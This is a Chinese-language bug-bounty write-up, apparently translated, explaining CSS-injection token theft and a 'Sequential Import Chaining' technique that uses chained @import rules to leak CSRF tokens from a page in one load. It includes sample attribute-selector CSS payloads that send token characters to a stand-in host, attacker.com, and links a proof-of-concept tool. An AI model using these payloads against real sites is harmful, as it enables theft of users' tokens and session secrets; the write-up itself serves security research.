概述
本文主要详细分析了我如何重新发现一种漏洞利用技术,成功绕过现有的缓解措施,对目标产生了相当有限的影响,并获得了5位数的奖金。
启发:一个奇怪的HTML注入案例
André Baptista和Cache-Money正在研究一个非常奇怪的漏洞。这一漏洞最初是一个简单的字符集绕过,通过一系列疯狂的漏洞利用步骤后,演变成目标其他位置的HTML注入(不是完整的XSS)。这是一个非常酷的漏洞利用链,可以说这两位研究者已经取得了一定成绩,但要进行下一步利用,还存在一些问题。
在得知他们所取得的进展之后,我开始思考是否可以提供一些帮助,以提升这一漏洞的利用方式。目前,我们能确定的最严重的利用程度,是一次相对有效的点击劫持。0xACB(Andre)和Cache-Money有一个非常棒的思路,就是如何将更多的攻击链连接在一起,以潜在的实现高影响力,但我有一个不同的思路。
当我们确定,在默认情况下,DomPurify可以实现样式标记之后,我开始思考,是否可以利用CSS做更多事情,而不仅仅是操纵DOM。如果大家已经阅读过我之前的文章,想必已经了解,我对CSS注入漏洞利用比较熟悉。但遗憾的是,这个页面具有框架保护(Frame Protection),需要一些用户交互来触发注入。如果我们想要泄漏敏感的信息,似乎需要很长的时间来实现,可能需要很多天。当然,这是一个弱的,且容易出现问题的攻击方式,并且最多我们只能获得小4位数的奖金。
我需要一种方法来实现对浏览器的攻击,并且这种方式最好无需重新加载、iframe或其他用户交互。由此,我重新评估了多个CSS Payload,并尝试进行类似这样的攻击。此外,由于对可以注入的Payload的长度有限制,所以能够更进一步。于是,我开始考虑一些值得关注的CSS功能特性,在@import之前,似乎不可能只使用<style>标签来实现利用。
CSS注入入门
在深入了解该漏洞利用技术之前,我想先花费一小段时间,来描述一下CSS注入中使用的传统Token渗透技术。如果各位读者已经熟悉,请直接跳到下一章。此外,在我之前的博客文章中更加深入地介绍了该技术。
传统的CSS注入Token渗透技术,依赖于称为属性选择器(Attribute Selectors)的CSS特性。如果该元素的属性满足选择器指示的条件,那么属性选择器将允许开发人员指定特定样式,该特定样式仅应用于该元素。
我们可以利用属性选择器,创建仅在某些条件下应用于页面上敏感元素的规则。然后,我们可以使用像background-image这样的属性,使浏览器在应用这些样式时调用攻击者控制的系统。这样一来,我们便可以建立一个驱使Token泄漏的反馈循环。
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
在这一示例中,我们告诉浏览器“如果CSRF Token以a开头,那么就将背景图像设置为https://attacker.com/exfil/a上的图像”。随后,我们对Token可能存在的所有起始字母重复这一规则(a、b、c……7、8、9等)。
一旦我们知道了Token的第一个字符是什么,我们就可以再次执行攻击(通常使用iframe),我们需要稍微修改一下Payload。
input[name=csrf][value^=ca]{
background-image: url(https://attacker.com/exfil/ca);
}
input[name=csrf][value^=cb]{
background-image: url(https://attacker.com/exfil/cb);
}
/* ... */
input[name=csrf][value^=c9]{
background-image: url(https://attacker.com/exfil/c9);
}
在此示例中,我们假设CSRF Token的第一个Token是c。通过这种方式,我们可以重新运行先前的规则,来确定CSRF Token的第二个字符,但所有Token都以c为开头。
该技术的先决条件如下:
1. CSS注入需要允许足够长的Payload;
2. 需要能够构建页面以触发CSS重新评估新生成的Payload;
3. 需要能够使用外部托管的图像(可能被CSP阻止)。
这意味着,如果注入不允许足够大小的Payload,或者页面不允许使用框架,那么这种技术将不适用。在我们的例子中,就无法使用这种技术,因为存在框架的缓解,并且我们实际可以注入的字符数量是有限的。
找到救星:@import
许多编程语言都可以从其他源文件导入代码,CSS也不例外。尽管许多人可能只知道<link href="…" rel="stylesheet">,但CSS本身实际上有一种方法可以使用名为@import的at-rule执行类似(但不同)类型的样式表包含。
在大多数情况下,@import执行将获取的样式表直接交换到当前样式表中。这允许开发人员引入外部样式,同时覆盖@import行下面的外部资源中定义的任何不需要的指令。
在某些浏览器(即Chrome)中实现此功能,存在另一个值得关注的副作用,外部资源可以与浏览器并行获取,同时处理样式表的其余部分。我的理解是,这种行为增加了页面的TTI,同时试图减轻“无格式内容的闪烁”(Flashed of Unstyled Content,参考:FOUC问题),但它在实际的漏洞利用中有所帮助。
想象一下,我们有一个包含以下样式表的网页:
@import url(http://laggysite.com/base.css);
* { color: red; }
Chrome会通过3个步骤处理此样式表:
1. 向http://laggysite.com/base.css发出请求
2. 评估剩余的指令(apply * { color: red; })
3. 当http://laggysite.com/base.css返回时,将响应替换为样式表,并重新评估样式表。
当@import目标响应模拟与原有技术中iframe所需的相同“控制重新评估CSS”行为的能力时,我们可以利用这种浏览器的行为,来重新评估样式表。我们使用@import的唯一要求是,我们必须可以控制样式标记的开头部分,因为这实际上是要实现HTML注入。
为此,我们将在样式表中创建一些@import规则,让我们的服务器保持所有连接的开启。然后,我们使用标准的CSS注入Token exfil Payload,从target属性中提取第一个Token。在我们的服务器从后台样式接收到这一Token之后,我们就可以生成下一个Token exfil Payload,并使用新创建的Payload响应下一个待处理的@import规则。
为了使其变得更加美观和整洁,同时也帮助我们实现限制Payload大小的目标,我们可以通过一个独立、初始的@import规则来解决所有问题。
为了证明这种攻击可以起作用,我开始创建一个被我称为SIC的工具,其全称是顺序导入链(Sequential Import Chaining)。这个名称的灵感来自于@import规则的连续“1 by 1”性质,它们被连接在一起,以便引起CSS的受控制重新评估。
我们可以看到,下面是一个使用SIC的Vanilla HTML注入示例,可以在页面上使用单个页面加载来扩展href。在一个更贴近实际的示例中,攻击者往往会使用value属性,在DOM中提取更敏感的内容,例如CSRF Token。
视频:https://youtu.be/ZiLf65iTcaM
该工具的代码位于:https://github.com/d0nutptr/sic
通过这项新技术,我们现在能够证明受害者如何通过单击,从当前页面泄漏敏感信息,从而也极大地增加了我们获得的奖金。
重新发现
在这时,我无疑是非常惊喜的,因为在花费了几个小时的事件后,我看到我的工具终于成功完成了它的任务。
此前,我认识的所有安全研究人员都没有使用这种方式,因此我一直坚信,我是第一个采用这种新技术的人。直到我与EdOverflow分享这一概念时,他才向我指出Vila,他大约在半年前提出了这种技术的变体。
有趣的是,我尝试构建了一个类似于Vila使用的方案的PoC,但无法弄清楚其中如何递归链接样式表,同时让浏览器选择重新注入的样式。递归的方法要求我们为每个新添加的规则增加“附加特殊性”(Additional Specificity),否则浏览器将会仅遵循样式表中最后一个适用样式,也是注入页面的第一个样式。这就是我想出一种不需要“附加特殊性”的顺序技术的原因。尽管如此,这两种技术都使用相同的核心原则。
潜在应用场景
有许多地方可以适用。除了Web应用程序中HTML注入的明显情形之外,我还做了一些尝试,来寻找电子邮件客户端,并试图看看它们是否表现出与Chrome类似的行为。然而,Vila建议的一个有趣的应用是电子应用(Electron)。
Pepe Vila:
这种方法对电子应用中的HTML注入非常有帮助,因为攻击者通常没有iframe或对导航的控制。
最后,我非常好奇服务器端渲染(Server-side Rendering)的含义。我可以想象一下,也许PDF生成是其中的一种情况,在这时SSRF和JavaScript执行都得到了缓解。整年以来,攻击者可能会有效地获取到注入该文档的内容。
致谢
在分析过程中,一些安全研究人员对我提供了巨大的帮助,分别是:0xACB、Cache-money、Shubs、Sean、Ruby、Vila。
最后,感谢Hon Kwok。